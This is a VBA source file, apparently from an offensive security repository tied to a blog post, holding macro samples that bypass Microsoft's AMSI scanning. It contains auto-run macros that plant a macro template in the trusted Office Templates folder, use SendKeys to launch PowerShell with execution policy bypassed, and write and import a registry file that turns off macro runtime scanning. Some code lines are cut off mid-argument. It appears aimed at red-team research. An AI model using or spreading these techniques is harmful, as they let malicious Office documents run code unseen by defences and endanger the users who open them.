OffensiveVBA / src / AMSIbypasses.vba

68 lines (50 loc) · 2.92 KB

Code Blame Raw

```
'#############################################################################################
' Code samples for AMSI bypass techniques
' relating to the blogpost on AMSI bypasses on https://outflank.nl/blog/
'#############################################################################################



' ############################################################################################
' AMSI Bypass approach that abuses trusted locations (sample for Word)
' ############################################################################################

Sub autoopen()
    'function called by the initial 'dropper' code, drops a dotm into %appdata\microsoft templates
    curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
    templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now())

    ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, Adc

    ' save back to orig location, otherwise AMSI will kcik in (as we are the template)
    ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled

    ' now create a new file based on template
    Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0
End Sub

Sub autonew()
```

```
        ' this function is called from a trusted location, not in the AMSI logs
        Shell "calc.exe"
    End Sub


    ' ###########################################################################################
    ' AMSI Bypass approach that abuses Excel sendkeys to fireup the startmennu
    ' ###########################################################################################

    Private Sub Workbook_Open()
        On Error Resume Next
        Application.SendKeys "^{esc}"
        Application.Wait (Now() + TimeValue("00:00:01"))
        Application.SendKeys "powershell.exe -ep bypass read-host ""malicious"" ~"
    End Sub

    ' ###########################################################################################
    ' AMSI Bypass in Word that saves a reg and bat file to disable AMSI.
    ' Adjust macro to 'saveas' in a startup or so
    ' ###########################################################################################

    Sub document_open()
        filepath = ActiveDocument.Path & "\"


        ' set contents and save as reg file
        Documents.Add
        ActiveDocument.Range.Text = _
            "Windows Registry Editor Version 5.00" & vbNewLine & vbNewLine & _
             "[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\security]" & vbNewLine & _
             """MacroRuntimeScanScope""=dword:00000000" & vbNewLine & vbNewLine

        ActiveDocument.SaveAs2 FileName:=filepath & "generatedByWord.reg", LineEnding:=wdCRLF, FileForm
        ActiveDocument.Close

        ' set contents and save as bat file
        Documents.Add
        ActiveDocument.Range.Text = "regedit.exe /S generatedByWord.reg"

        ActiveDocument.SaveAs2 FileName:=filepath & "generatedByWord.bat", FileFormat:=wdFormatText, Er
        ActiveDocument.Close
    End Sub
```